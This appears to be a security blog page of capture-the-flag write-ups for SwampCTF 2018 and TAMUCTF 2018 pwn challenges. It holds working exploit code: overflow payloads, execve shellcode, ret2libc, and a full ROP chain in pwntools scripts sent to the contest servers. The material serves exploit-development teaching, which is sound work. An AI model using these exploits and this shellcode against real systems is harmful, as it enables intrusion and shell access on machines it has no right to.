Showing posts with label rop. Show all posts
Showing posts with label rop. Show all posts

Sunday, April 1, 2018

SwampCTF 2018 - Apprentice's Return


This was a fun little intro challenge for the CTF. It adds a twist to the classic first step for beginners in exploit development.

One of the first ideas in exploitation is to change execution to a 'WIN' function, in this case 'slayTheBeast'.

Resources & Description:

For one such as yourself, apprentice to the arts of time manipulation, you must pass this first trial with a dreadful creature.

Connect:
nc chal1.swampctf.com 1802

-=Created By: TobalJackson=-

Here's the checksec listing:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

The 'doBattle' function will read 50 bytes onto the stack then check the first gadget against 0x8048595, which refers to the leave instruction in 'doBattle':


The comparison checks the first gadget is below or equal to 0x8048595 using jbe. If this comparison passes, we get to return to our ROP chain.

Inspecting 'slayTheBeast', we can see it just cat's the flag, but the addresses are all above the previous comparison (0x8048595):


To pass the initial check, we can find a simple gadget which just returns to another gadget, almost a NOP gadget if you will. Let's look for this using ropper:

[INFO] Load gadgets from cache
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret

[INFO] File: return
0x08048545: ret 0x2b76;
0x0804853e: ret 0x95b8;
0x0804847e: ret 0xeac1;
0x080485ea: ret 0xfffd;
0x0804835a: ret;

The last one satisfies our constraint and has a clean exit, let's use that (0x0804835a) in combination with the flag printing function (0x80485db):

$ python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db)' | ./return
As you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip!  The beast lurches at you; quick! Tell me what you do:
Your actions take the Allip by surprise, causing it to falter in its attack!  You notice a weakness in the beasts form and see a glimmer of how it might be defeated.
Through expert manouvering of both body and mind, you lash out with your ethereal blade and pierce the beast's heart, slaying it.
As it shimmers and withers, you quickly remember to lean in and command it to relinquish its secret:
flag{fake_flag}
[1]    30162 done                              python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db) |
       30163 segmentation fault (core dumped)  ./return

(The fake flag was placed in the same directory before executing the exploit)

echo 'flag{fake_flag}' > flag.txt

Now we can try it against the live service:

$ python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db)' | nc chal1.swampctf.com 1802
As you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip!  The beast lurches at you; quick! Tell me what you do:

Your actions take the Allip by surprise, causing it to falter in its attack!  You notice a weakness in the beasts form and see a glimmer of how it might be defeated.
Through expert manouvering of both body and mind, you lash out with your ethereal blade and pierce the beast's heart, slaying it.
As it shimmers and withers, you quickly remember to lean in and command it to relinquish its secret:
...

And we've got the flag! Fear not the ancient ROPnique:

flag{f34r_n0t_th3_4nc13n7_R0pn1qu3}

Art on top is from http://www.dungeonsanddrawings.com/

Monday, February 26, 2018

TAMUCTF 2018 - pwn*


The following is a writeup for all pwn challenges found in TAMUCTF 2018:


Pwn 1


This challenges was a simple overflow of 23 bytes + 0xf007b411 (taken from a hardcoded compare). After the compare passes, it branches to 0x8048626 which calls the print_flag function.



$ python -c 'print "A"*23 + "\x11\xba\x07\xf0"' | nc pwn.ctf.tamu.edu 4321

This is a super secret program
Noone is allowed through except for those who know the secret!
What is my secret?
How did you figure out my secret?!
gigem{H0W_H4RD_1S_TH4T?}


Pwn 2


The second pwnable was similar to the first, but this time we're overwriting EIP with the function print_flag.

Running pwn2, we see it echos back some text by calling an echo function:

$ ./pwn2
I just love repeating what other people say!
I bet I can repeat anything you tell me!
AAAA
AAAA

We could also run this with ltrace showing the address of the gets, which will take us to the echo function [0x80485de]:

$ ltrace -i ./pwn2
[0x8048471] __libc_start_main(0x80485f6, 1, 0xffc22824, 0x8048650 
[0x8048618] setvbuf(0xf7751ac0, 0x2, 0, 0)                                                       = 0
[0x8048628] puts("I just love repeating what other"...I just love repeating what other people say!
)                                          = 45
[0x8048638] puts("I bet I can repeat anything you "...I bet I can repeat anything you tell me!
)                                          = 41
[0x80485cc] setvbuf(0xf7751ac0, 0x2, 0, 0)                                                       = 0
[0x80485de] gets(0xffc22679, 2, 0, 0AAAA
)                                                            = 0xffc22679
[0x80485f0] puts("AAAA"AAAA
)                                                                         = 5
[0xffffffffffffffff] +++ exited (status 0) +++

Looking at echo in Binary Ninja, again we see that it's vulnerable because of the gets function, which has no bounds checking:



Playing with the buffers until we hit EIP:

$ python -c 'print "A"*243 + "BBBB"' | strace -i ./pwn2 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Then we just insert the address of print_flag [0x804854b], using pwntools for packing:

$ python -c 'from pwn import p32; print "A"*243 + p32(0x804854b)' | nc pwn.ctf.tamu.edu 4322
I just love repeating what other people say!
I bet I can repeat anything you tell me!

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK�
This function has been deprecated
gigem{3ch035_0f_7h3_p4s7}


Pwn 3


pwn3 is very similar to pwn2, but it has no print_flag function and ASLR was turned on for the server. Luckily there were no binary mitigations on this one:


First just running this binary we get:

Welcome to the New Echo application 2.0!
Changelog:
- Less deprecated flag printing functions!
- New Random Number Generator!

Your random number 0xffb837fa!
Now what should I echo? AAAA
AAAA

What's that 'random number' generated? It looks like a memory address. Looking in Binary Ninja we confirm it just points to our shellcode, Great!


We can see the EIP overwrite is 242 bytes in:

$ python -c 'print "A"*242 + "BBBB"' | strace -i ./pwn3 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Now we just need to leak the shellcode address, place some shellcode at the start of the buffer and overwrite EIP with the leaked address.

To do this, I wrote a small client:

#!/usr/bin/env python
from pwn import *

#r = process('./pwn3')
r = remote('pwn.ctf.tamu.edu', 4323)

NOP = '\x90'
SC = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
LEAK_STR = 'Now what should I echo? '

def main():
  result = r.recvuntil(LEAK_STR)
  result = result.split('\n')[5].split('0x')[-1].rstrip('!')
  stack = result.decode('hex')[::-1]

  payload = SC + NOP * (242 - len(SC)) + stack
  r.sendline(payload)
  r.interactive()

if __name__ == "__main__":
  main()

Running we get a shell and cat the flag:

$ python pwn3-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4323: Done
[*] Switching to interactive mode
1�Ph//shh/bin\x89�PS\x89�
                          ̀\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90:v��
$ cat flag.txt
gigem{n0w_w3_4r3_g377in6_s74r73d}


Pwn 4


In this challenge we get an interface to execute specific commands without arguments, but there's another gets we can take advantage of:


It looks like the binary has NX enabled:



We can use ret2libc to get a shell, first we need to find the gadgets for /bin/sh & system, pwndbg makes this simple:

pwndbg> p system
$1 = {<text variable, no debug info>} 0x8048430 <system@plt>
pwndbg> b main
Breakpoint 1 at 0x8048791
pwndbg> r
Breakpoint main
pwndbg> search /bin/sh
pwn4            0x804a038 u'/bin/sh'

That gives us 0x8048430 for system & 0x804a038 for '/bin/sh', then we just need to pad with the right offset. We find the EIP overwrite just as above:

$ python -c "print 'A'*32 + 'BBBB'" | strace -i ./pwn4 |& grep si_addr
[42424242] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

Tying that all together, we get:

(python -c 'from pwn import *; print "A"*32 + p32(0x8048430) + "JUNK" + p32(0x0804a038)'; cat) | nc pwn.ctf.tamu.edu 4324
I am a reduced online shell
Your options are:
1. ls
2. cal
3. pwd
4. whoami
5. exit
Input> Unkown Command

cat flag.txt
gigem{b4ck_70_7h3_l1br4ry}


Pwn 5


This challenge is a statically linked x86 binary with NX enabled. After looking through the functions used, playing with it on the command-line, it doesn't take too long to find the vulnerability - another gets call:



First it would be nice to automate stdin for this challenge with a small PoC client:

#!/usr/bin/env python
from pwn import *
from struct import pack

r = process('./pwn5')
#r = remote('pwn.ctf.tamu.edu', 4325)

# requires tmux to run
context(terminal = ['tmux', 'splitw'])

def main():
  r.sendline('a')
  r.sendline('a')
  r.sendline('a')
  r.send('y\n')
  r.send('2\n')
  gdb.attach(r, 'c')
  r.sendline('AAAA')
  r.interactive()

if __name__ == "__main__":
  main()


We can see from the disassembly gets is storing our input in ebp-0x1c, if we add 4 for EBP we get to EIP, making our padding 32 bytes.

If we rerun our client replacing 'AAAA' with 'A'*32 + 'BBBB', we'll see a crash of 0x42424242 in gdb.

Next all we need to do is ROP! For this we can use Ropper to generate the ROPChain:

$ ropper --file ./pwn5 --chain execve

Dumping that into our existing client, we get:

#!/usr/bin/env python
from pwn import *
from struct import pack

#r = process('./pwn5')
r = remote('pwn.ctf.tamu.edu', 4325)

IMAGE_BASE = 0x08048000
rebase = lambda x : p32(x + IMAGE_BASE)

rop = ''
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += '//bi'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += 'n/sh'
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8064)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000016b3) # 0x080496b3: xor eax, eax; ret;
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0000d12b) # 0x0805512b: mov dword ptr [edx], eax; ret;
rop += rebase(0x000001d1) # 0x080481d1: pop ebx; ret;
rop += rebase(0x000a8060)
rop += rebase(0x0009c325) # 0x080e4325: pop ecx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x0002b38a) # 0x0807338a: pop edx; ret;
rop += rebase(0x000a8068)
rop += rebase(0x00074396) # 0x080bc396: pop eax; ret;
rop += p32(0xfffffff5)
rop += rebase(0x0001a407) # 0x08062407: neg eax; ret;
rop += rebase(0x0002b990) # 0x08073990: int 0x80; ret;

def main():
  r.sendline('a')
  r.sendline('a')
  r.sendline('a')
  r.send('y\n')
  r.send('2\n')
  r.sendline('A'*32 + rop)
  r.interactive()

if __name__ == "__main__":
  main()

Then we run it and cat the flag:

$ python pwn5-client.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4325: Done
[*] Switching to interactive mode
$ cat flag.txt
gigem{r37urn_0f_7h3_pwn}